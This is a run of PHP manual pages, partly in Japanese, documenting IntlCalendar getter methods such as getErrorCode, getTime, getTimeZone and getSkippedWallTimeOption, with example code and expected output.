IntlCalendar::getErrorCode -- intlcal_get_error_code — Get last error code on the object

説明

オブジェクト指向型 (method):

public IntlCalendar::getErrorCode ( ) : int

手続き型:

intlcal_get_error_code ( IntlCalendar $calendar ) : int

Returns the numeric ICU error code for the last call on this object (including cloning) or the IntlCalendar given for the calendar parameter (in the procedural?style version). This may indicate only a warning (negative error code) or no error at all (U_ZERO_ERROR). The actual presence of an error can be tested with intl_is_failure().

Invalid arguments detected on the PHP side (before invoking functions of the ICU library) are not recorded for the purposes of this function.

The last error that occurred in any call to a function of the intl extension, including early argument errors, can be obtained with intl_get_error_code(). This function resets the global error code, but not the object?s error code.

パラメータ

calendar

The calendar object, on the procedural style interface.

返り値

An ICU error code indicating either success, failure or a warning.

例

例1 IntlCalendar::getErrorCode() and IntlCalendar::getErrorMessage()

<?php
ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");

$intlcal = new IntlGregorianCalendar(2012, 1, 29);
var_dump(
    $intlcal->getErrorCode(),
    $intlcal->getErrorMessage()
);
$intlcal->fieldDifference(-1e100, IntlCalendar::FIELD_SECOND);

var_dump(
    $intlcal->getErrorCode(),
    $intlcal->getErrorMessage()
);

上の例の出力は以下となります。

int(0)
string(12) "U_ZERO_ERROR"

Warning: IntlCalendar::fieldDifference(): intlcal_field_difference: Call to ICU method has failed in /home/glopes/php/ws/example.php on line 10
int(1)
string(81) "intlcal_field_difference: Call to ICU method has failed: U_ILLEGAL_ARGUMENT_ERROR"

参考

  • IntlCalendar::getErrorMessage() - Get last error message on the object
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる
  • intl_error_name() - 指定したエラーコードに対応する名前を取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_get_error_message() - 直近のエラーの説明を取得する

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • ≪ IntlCalendar::getErrorCode
  • IntlCalendar::getFirstDayOfWeek ≫
  • PHP Manual
  • IntlCalendar
  • Get last error message on the object

IntlCalendar::getErrorMessage

intlcal_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getErrorMessage -- intlcal_get_error_message — Get last error message on the object

説明

オブジェクト指向型 (method):

public IntlCalendar::getErrorMessage ( ) : string

手続き型:

intlcal_get_error_message ( IntlCalendar $calendar ) : string

Returns the error message (if any) associated with the error reported by IntlCalendar::getErrorCode() or intlcal_get_error_code(). If there is no associated error message, only the string representation of the name of the error constant will be returned. Otherwise, the message also includes a message set on the side of the PHP binding.

パラメータ

calendar

The calendar object, on the procedural style interface.

返り値

The error message associated with last error that occurred in a function call on this object, or a string indicating the non-existance of an error.

例

例1 IntlCalendar::getErrorMessage()

<?php
$cal = IntlCalendar::createInstance('UTC', 'en_US');
var_dump($cal->getErrorMessage());

$cal->getWeekendTransition(IntlCalendar::DOW_WEDNESDAY);
var_dump($cal->getErrorMessage());

上の例の出力は以下となります。

string(12) "U_ZERO_ERROR"
string(82) "intlcal_get_weekend_transition: Error calling ICU method: U_ILLEGAL_ARGUMENT_ERROR"

User Contributed Notes

There are no user contributed notes for this page.


Get the first day of the week for the calendar?s locale

  • ≪ IntlCalendar::getErrorMessage
  • IntlCalendar::getGreatestMinimum ≫
  • PHP Manual
  • IntlCalendar
  • Get the first day of the week for the calendar?s locale

IntlCalendar::getFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale

説明

オブジェクト指向型

public IntlCalendar::getFirstDayOfWeek ( ) : int|false

手続き型

intlcal_get_first_day_of_week ( IntlCalendar $cal ) : int|false

The week day deemed to start a week, either the default value for this locale or the value set with IntlCalendar::setFirstDayOfWeek().

パラメータ

cal

The IntlCalendar resource.

返り値

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY失敗した場合に false を返します.

例

例1 IntlCalendar::getFirstDayOfWeek()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
var_dump($cal1->getFirstDayOfWeek()); // Monday
$cal1->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal1->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 5

$cal2 = IntlCalendar::createInstance(NULL, 'en_US');
var_dump($cal2->getFirstDayOfWeek()); // Sunday
$cal2->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal2->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 6

上の例の出力は以下となります。

int(2)
int(5)
int(1)
int(6)

参考

  • IntlCalendar::setFirstDayOfWeek() - Set the day on which the week is deemed to start

User Contributed Notes

There are no user contributed notes for this page.


Get the largest local minimum value for a field

  • ≪ IntlCalendar::getFirstDayOfWeek
  • IntlCalendar::getKeywordValuesForLocale ≫
  • PHP Manual
  • IntlCalendar
  • Get the largest local minimum value for a field

IntlCalendar::getGreatestMinimum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field

説明

オブジェクト指向型

public IntlCalendar::getGreatestMinimum ( int $field ) : int|false

手続き型

intlcal_get_greatest_minimum ( IntlCalendar $cal , int $field ) : int|false

Returns the largest local minimum for a field. This should be a value larger or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn larger or equal to that returned by IntlCalendar::getMinimum(). All these three functions return the same value for the Gregorian calendar.

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing a field value, in the field?s unit,失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


Get set of locale keyword values

  • ≪ IntlCalendar::getGreatestMinimum
  • IntlCalendar::getLeastMaximum ≫
  • PHP Manual
  • IntlCalendar
  • Get set of locale keyword values

IntlCalendar::getKeywordValuesForLocale

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values

説明

オブジェクト指向型

public static IntlCalendar::getKeywordValuesForLocale ( string $key , string $locale , bool $commonlyUsed ) : Iterator|false

手続き型

static intlcal_get_keyword_values_for_locale ( string $key , string $locale , bool $commonlyUsed ) : Iterator|false

For a given locale key, get the set of values for that key that would result in a different behavior. For now, only the 'calendar' keyword is supported.

This function requires ICU 4.2 or later.

パラメータ

key

The locale keyword for which relevant values are to be queried. Only 'calendar' is supported.

locale

The locale onto which the keyword/value pair are to be appended.

commonlyUsed

Whether to show only the values commonly used for the specified locale.

返り値

An iterator that yields strings with the locale keyword values失敗した場合に false を返します.

例

例1 IntlCalendar::getKeyworkValuesForLocale()

<?php
print_r(
        iterator_to_array(
                IntlCalendar::getKeywordValuesForLocale(
                        'calendar', 'fa_IR', true)));
print_r(
        iterator_to_array(
                IntlCalendar::getKeywordValuesForLocale(
                        'calendar', 'fa_IR', false)));

上の例の出力は以下となります。

Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
)
Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
    [4] => japanese
    [5] => buddhist
    [6] => roc
    [7] => hebrew
    [8] => chinese
    [9] => indian
    [10] => coptic
    [11] => ethiopic
    [12] => ethiopic-amete-alem
)

User Contributed Notes

There are no user contributed notes for this page.


Get the smallest local maximum for a field

  • ≪ IntlCalendar::getKeywordValuesForLocale
  • IntlCalendar::getLocale ≫
  • PHP Manual
  • IntlCalendar
  • Get the smallest local maximum for a field

IntlCalendar::getLeastMaximum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field

説明

オブジェクト指向型

public IntlCalendar::getLeastMaximum ( int $field ) : int|false

手続き型

intlcal_get_least_maximum ( IntlCalendar $cal , int $field ) : int|false

Returns the smallest local maximumw for a field. This should be a value smaller or equal to that returned by IntlCalendar::getActualMaxmimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getMaximum().

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing a field value in the field?s unit失敗した場合に false を返します.

例

例1 Maxima examples

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'it_IT');

$cal = new IntlGregorianCalendar(2013, 3 /* April */, 6);
var_dump(
    $cal->getLeastMaximum(IntlCalendar::FIELD_DAY_OF_MONTH),  // 28
    $cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 30
    $cal->getMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)        // 31
);

上の例の出力は以下となります。

int(28)
int(30)
int(31)

参考

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time
  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get the locale associated with the object

  • ≪ IntlCalendar::getLeastMaximum
  • IntlCalendar::getMaximum ≫
  • PHP Manual
  • IntlCalendar
  • Get the locale associated with the object

IntlCalendar::getLocale

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getLocale — Get the locale associated with the object

説明

オブジェクト指向型

public IntlCalendar::getLocale ( int $localeType ) : string|false

手続き型

intlcal_get_locale ( IntlCalendar $cal , int $localeType ) : string|false

Returns the locale used by this calendar object.

パラメータ

cal

The IntlCalendar resource.

localeType

Whether to fetch the actual locale (the locale from which the calendar data originates, with Locale::ACTUAL_LOCALE) or the valid locale, i.e., the most specific locale supported by ICU relatively to the requested locale - see Locale::VALID_LOCALE. From the most general to the most specific, the locales are ordered in this fashion - actual locale, valid locale, requested locale.

返り値

A locale string失敗した場合に false を返します.

例

例1 IntlCalendar::getLocale()

<?php
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT(), 'en_US_CALIFORNIA');
var_dump(
    $cal->getLocale(Locale::ACTUAL_LOCALE),
    $cal->getLocale(Locale::VALID_LOCALE)
);

上の例の出力は以下となります。

string(2) "en"
string(5) "en_US"

User Contributed Notes

There are no user contributed notes for this page.


Get the global maximum value for a field

  • ≪ IntlCalendar::getLocale
  • IntlCalendar::getMinimalDaysInFirstWeek ≫
  • PHP Manual
  • IntlCalendar
  • Get the global maximum value for a field

IntlCalendar::getMaximum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getMaximum — Get the global maximum value for a field

説明

オブジェクト指向型

public IntlCalendar::getMaximum ( int $field ) : int|false

手続き型

intlcal_get_maximum ( IntlCalendar $cal , int $field ) : int|false

Gets the global maximum for a field, in this specific calendar. This value is larger or equal to that returned by IntlCalendar::getActualMaximum(), which is in its turn larger or equal to that returned by IntlCalendar::getLeastMaximum().

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing a field value in the field?s unit失敗した場合に false を返します.

参考

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getMinimum() - Get the global minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get minimal number of days the first week in a year or month can have

  • ≪ IntlCalendar::getMaximum
  • IntlCalendar::getMinimum ≫
  • PHP Manual
  • IntlCalendar
  • Get minimal number of days the first week in a year or month can have

IntlCalendar::getMinimalDaysInFirstWeek

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have

説明

オブジェクト指向型

public IntlCalendar::getMinimalDaysInFirstWeek ( ) : int|false

手続き型

intlcal_get_minimal_days_in_first_week ( IntlCalendar $cal ) : int|false

Returns the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous year?s last week.

パラメータ

cal

The IntlCalendar resource.

返り値

An int representing a number of days失敗した場合に false を返します.

例

例1 IntlCalendar::getMinimalDaysInFirstWeek()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 0 /* January */, 2);
var_dump(IntlDateFormatter::formatObject($cal, 'cccc')); // Wednesday

var_dump($cal->getMinimalDaysInFirstWeek(), // 1
$cal->getFirstDayofWeek()); // 1 (Sunday)

// Week 1 of 2013
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(4);
// Still Week 1 of 2013 (1st week has 5 days in the new year)
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(6);
// Week 53 of 2012
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

上の例の出力は以下となります。

string(9) "Wednesday"
int(1)
int(1)
string(14) "Week 1 of 2013"
string(14) "Week 1 of 2013"
string(15) "Week 53 of 2012"

User Contributed Notes

There are no user contributed notes for this page.


Get the global minimum value for a field

  • ≪ IntlCalendar::getMinimalDaysInFirstWeek
  • IntlCalendar::getNow ≫
  • PHP Manual
  • IntlCalendar
  • Get the global minimum value for a field

IntlCalendar::getMinimum

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getMinimum — Get the global minimum value for a field

説明

オブジェクト指向型

public IntlCalendar::getMinimum ( int $field ) : int|false

手続き型

intlcal_get_minimum ( IntlCalendar $cal , int $field ) : int|false

Gets the global minimum for a field, in this specific calendar. This value is smaller or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getGreatestMinimum(). For the Gregorian calendar, these three functions always return the same value (for each field).

パラメータ

cal

The IntlCalendar resource.

field

IntlCalendar の日付/時刻 フィールド定数 のいずれか。 0 から IntlCalendar::FIELD_COUNT までの間の整数値です。

返り値

An int representing a value for the given field in the field?s unit失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


Get number representing the current time

  • ≪ IntlCalendar::getMinimum
  • IntlCalendar::getRepeatedWallTimeOption ≫
  • PHP Manual
  • IntlCalendar
  • Get number representing the current time

IntlCalendar::getNow

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getNow — Get number representing the current time

説明

オブジェクト指向型

public static IntlCalendar::getNow ( ) : float

手続き型

intlcal_get_now ( ) : float

The number of milliseconds that have passed since the reference date. This number is derived from the system time.

パラメータ

この関数にはパラメータはありません。

返り値

A float representing a number of milliseconds since the epoch, not counting leap seconds.

例

例1 IntlCalendar::getNow()

<?php
$formatter = IntlDateFormatter::create('es_ES',
        IntlDateFormatter::FULL,
        IntlDateFormatter::FULL,
        'Europe/Madrid');

$val = IntlCalendar::getNow();

var_dump($val);
echo $formatter->format(IntlCalendar::getNow() / 1000.), "\n";

上の例の出力は以下となります。

float(1371425814666)
lunes, 17 de junio de 2013 01:36:54 Hora de verano de Europa central

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling repeating wall time

  • ≪ IntlCalendar::getNow
  • IntlCalendar::getSkippedWallTimeOption ≫
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling repeating wall time

IntlCalendar::getRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time

説明

オブジェクト指向型

public IntlCalendar::getRepeatedWallTimeOption ( ) : int

手続き型

intlcal_get_repeated_wall_time_option ( IntlCalendar $cal ) : int

Gets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST.

This function requires ICU 4.9 or later.

パラメータ

cal

The IntlCalendar resource.

返り値

One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

例

例1 IntlCalendar::getRepeatedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On October 27th at 0200, the clock goes back 1 hour and from GMT+01 to GMT+00
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30);

var_dump($cal->getRepeatedWalltimeOption()); // 0 WALLTIME_LAST

$formatter = IntlDateFormatter::create(
    NULL,
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000.));

$cal->setRepeatedWalltimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getRepeatedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000.));

上の例の出力は以下となります。

int(0)
string(42) "Sunday, October 27, 2013 at 1:30:00 AM GMT"
int(1)
string(43) "Sunday, October 27, 2013 at 12:30:00 AM GMT"

参考

  • IntlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling skipped wall time

  • ≪ IntlCalendar::getRepeatedWallTimeOption
  • IntlCalendar::getTime ≫
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling skipped wall time

IntlCalendar::getSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time

説明

オブジェクト指向型

public IntlCalendar::getSkippedWallTimeOption ( ) : int

手続き型

intlcal_get_skipped_wall_time_option ( IntlCalendar $cal ) : int

Gets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

パラメータ

cal

The IntlCalendar resource.

返り値

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

例

例1 IntlCalendar::getSkippedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On March 31st at 0100, the clock goes forward 1 hour and from GMT+00 to GMT+01
$cal = new IntlGregorianCalendar(2013, 2 /* March */, 31, 1, 30);

var_dump(
    $cal->isLenient(),               // true
    $cal->getSkippedWalltimeOption() // 0 WALLTIME_LAST
);

$formatter = IntlDateFormatter::create(
    NULL,
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getSkippedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_NEXT_VALID);
var_dump($cal->getSkippedWalltimeOption()); // 2 WALLTIME_NEXT_VALID
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

上の例の出力は以下となります。

bool(true)
int(0)
string(40) "Sunday, March 31, 2013 at 1:30:00 AM GMT"
int(1)
string(41) "Sunday, March 31, 2013 at 12:30:00 AM GMT"
int(2)
string(40) "Sunday, March 31, 2013 at 1:00:00 AM GMT"

参考

  • IntlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get time currently represented by the object

  • ≪ IntlCalendar::getSkippedWallTimeOption
  • IntlCalendar::getTimeZone ≫
  • PHP Manual
  • IntlCalendar
  • Get time currently represented by the object

IntlCalendar::getTime

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getTime — Get time currently represented by the object

説明

オブジェクト指向型

public IntlCalendar::getTime ( ) : float

手続き型

intlcal_get_time ( IntlCalendar $cal ) : float

Returns the time associated with this object, expressed as the number of milliseconds since the epoch.

パラメータ

cal

The IntlCalendar resource.

返り値

A float representing the number of milliseconds elapsed since the reference time (1 Jan 1970 00:00:00 UTC).

例

例1 IntlCalendar::getTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 4 /* May */, 1, 0, 0, 0);
$time = $cal->getTime();
var_dump($time, $time / 1000 == strtotime('2013-05-01 00:00:00')); //true

上の例の出力は以下となります。

float(1367362800000)
bool(true)

参考

  • IntlCalendar::getNow() - Get number representing the current time

User Contributed Notes

There are no user contributed notes for this page.


Get the object?s timezone

  • ≪ IntlCalendar::getTime
  • IntlCalendar::getType ≫
  • PHP Manual
  • IntlCalendar
  • Get the object?s timezone

IntlCalendar::getTimeZone

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getTimeZone — Get the object?s timezone

説明

オブジェクト指向型

public IntlCalendar::getTimeZone ( ) : IntlTimeZone

手続き型

intlcal_get_time_zone ( IntlCalendar $cal ) : IntlTimeZone

Returns the IntlTimeZone object associated with this calendar.

パラメータ

cal

The IntlCalendar resource.

返り値

An IntlTimeZone object corresponding to the one used internally in this object.

例

例1 IntlCalendar::getTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance();
print_r($cal->getTimeZone());

$cal->setTimeZone('UTC');
print_r($cal->getTimeZone());

$cal = IntlCalendar::fromDateTime('2012-01-01 00:00:00 GMT+03:33');
print_r($cal->getTimeZone());

上の例の出力は以下となります。

IntlTimeZone Object
(
    [valid] => 1
    [id] => Europe/Lisbon
    [rawOffset] => 0
    [currentOffset] => 3600000
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => UTC
    [rawOffset] => 0
    [currentOffset] => 0
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+03:33
    [rawOffset] => 12780000
    [currentOffset] => 12780000
)

参考

  • IntlCalendar::setTimeZone() - Set the timezone used by this calendar
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • IntlGregorianCalendar::__construct() - Create the Gregorian Calendar class

User Contributed Notes

There are no user contributed notes for this page.


Get the calendar type

  • ≪ IntlCalendar::getTimeZone
  • IntlCalendar::getWeekendTransition ≫
  • PHP Manual
  • IntlCalendar
  • Get the calendar type

IntlCalendar::getType

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getType — Get the calendar type

説明

オブジェクト指向型

public IntlCalendar::getType ( ) : string

手続き型

intlcal_get_type ( IntlCalendar $cal ) : string

A string describing the type of this calendar. This is one of the valid values for the calendar keyword value 'calendar'.

パラメータ

cal

The IntlCalendar resource.

返り値

A string representing the calendar type, such as 'gregorian', 'islamic', etc.

例

例1 IntlCalendar::getType()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance(NULL, '@calendar=ethiopic-amete-alem');
var_dump($cal->getType());

$cal = new IntlGregorianCalendar();
var_dump($cal->getType());

上の例の出力は以下となります。

string(19) "ethiopic-amete-alem"
string(9) "gregorian"

User Contributed Notes

There are no user contributed notes for this page.


Get time of the day at which weekend begins or ends

  • ≪ IntlCalendar::getType
  • IntlCalendar::inDaylightTime ≫
  • PHP Manual
  • IntlCalendar
  • Get time of the day at which weekend begins or ends

IntlCalendar::getWeekendTransition

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends

説明

オブジェクト指向型

public IntlCalendar::getWeekendTransition ( string $dayOfWeek ) : int|false

手続き型

intlcal_get_weekend_transition ( IntlCalendar $cal , string $dayOfWeek ) : int|false

Returns the number of milliseconds after midnight at which the weekend begins or ends.

This is only applicable for days of the week for which
IntlCalendar::getDayOfWeekType() returns either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE. Calling this
function for other days of the week is an error condition.

This function requires ICU 4.4 or later.

パラメータ

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返り値

The number of milliseconds into the day at which the weekend begins or ends失敗した場合に false を返します.

例

See example on IntlCalendar::getDayOfWeekType().

User Contributed Notes

There are no user contributed notes for this page.


Whether the object?s time is in Daylight Savings Time

  • ≪ IntlCalendar::getWeekendTransition
  • IntlCalendar::isEquivalentTo ≫
  • PHP Manual
  • IntlCalendar
  • Whether the object?s time is in Daylight Savings Time

IntlCalendar::inDaylightTime

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::inDaylightTime — Whether the object?s time is in Daylight Savings Time

説明

オブジェクト指向型

public IntlCalendar::inDaylightTime ( ) : bool

手続き型

intlcal_in_daylight_time ( IntlCalendar $cal ) : bool

Whether, for the instant represented by this object and for this object?s timezone, daylight saving time is in place.

パラメータ

cal

The IntlCalendar resource.

返り値

Returns true if the date is in Daylight Savings Time, false otherwise. The value false may also be returned on failure, for instance after specifying invalid field values on non-lenient mode; use exceptions or query intl_get_error_code() to disambiguate.

例

例1 IntlCalendar::inDaylightTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1, 4, 56, 31);
var_dump($cal->inDaylightTime()); // true
$cal->set(IntlCalendar::FIELD_MONTH, 11 /* December */);
var_dump($cal->inDaylightTime()); // false

//DST end transition on 2013-10-27 at 0200 (wall time back 1 hour)
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30, 0);

var_dump($cal->inDaylightTime()); // false (default WALLTIME_LAST)

$cal->setRepeatedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1); // force time recalculation
var_dump($cal->inDaylightTime()); // true

User Contributed Notes

There are no user contributed notes for this page.


Whether another calendar is equal but for a different time

  • ≪ IntlCalendar::inDaylightTime
  • IntlCalendar::isLenient ≫
  • PHP Manual
  • IntlCalendar
  • Whether another calendar is equal but for a different time

IntlCalendar::isEquivalentTo

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time

説明

オブジェクト指向型

public IntlCalendar::isEquivalentTo ( IntlCalendar $other ) : bool

手続き型

intlcal_is_equivalent_to ( IntlCalendar $cal , IntlCalendar $other ) : bool

Returns whether this and the given object are equivalent for all purposes except as to the time they have set. The locales do not have to match, as long as no change in behavior results from such mismatch. This includes the timezone, whether the lenient mode is set, the repeated and skipped wall time settings, the days of the week when the weekend starts and ceases and the times where such transitions occur. It may also include other calendar specific settings, such as the Gregorian/Julian transition instant.

パラメータ

cal

The IntlCalendar resource.

other

The other calendar against which the comparison is to be made.

返り値

Assuming there are no argument errors, returns true if the calendars are equivalent except possibly for their set time.

例

例1 IntlCalendar::isEquivalentTo()

<?php
$cal1 = IntlCalendar::createInstance('Europe/Lisbon', 'pt_PT');
$cal2 = IntlCalendar::createInstance('Europe/Lisbon', 'es_ES');
$cal2->clear();

var_dump($cal1->isEquivalentTo($cal2)); // true

$cal3 = IntlCalendar::createInstance('Europe/Lisbon', 'en_US');
var_dump($cal1->isEquivalentTo($cal3)); // false
var_dump($cal1->getFirstDayOfWeek(),    // 2 (Monday)
$cal3->getFirstDayOfWeek());            // 1 (Sunday)

上の例の出力は以下となります。

bool(true)
bool(false)
int(2)
int(1)

参考

  • IntlCalendar::equals() - Compare time of two IntlCalendar objects for equality

User Contributed Notes

There are no user contributed notes for this page.


Whether date/time interpretation is in lenient mode

  • ≪ IntlCalendar::isEquivalentTo
  • IntlCalendar::isSet ≫
  • PHP Manual
  • IntlCalendar
  • Whether date/time interpretation is in lenient mode

IntlCalendar::isLenient

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode

説明

オブジェクト指向型

public IntlCalendar::isLenient ( ) : bool

手続き型

intlcal_is_lenient ( IntlCalendar $cal ) : bool

Returns whether the current date/time interpretations is lenient (the default). If that is case, some out of range values for fields will be accepted instead of raising an error.

パラメータ

cal

The IntlCalendar resource.

返り値

A bool representing whether the calendar is set to lenient mode.

例

例1 IntlCalendar::isLenient()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'pt_PT');
ini_set('intl.use_exceptions', '1');

$cal = new IntlGregorianCalendar(2013, 6 /* July */, 1);
var_dump(IntlDateFormatter::formatObject($cal), // 01/07/2013, 00:00:00
$cal->isLenient()); // true

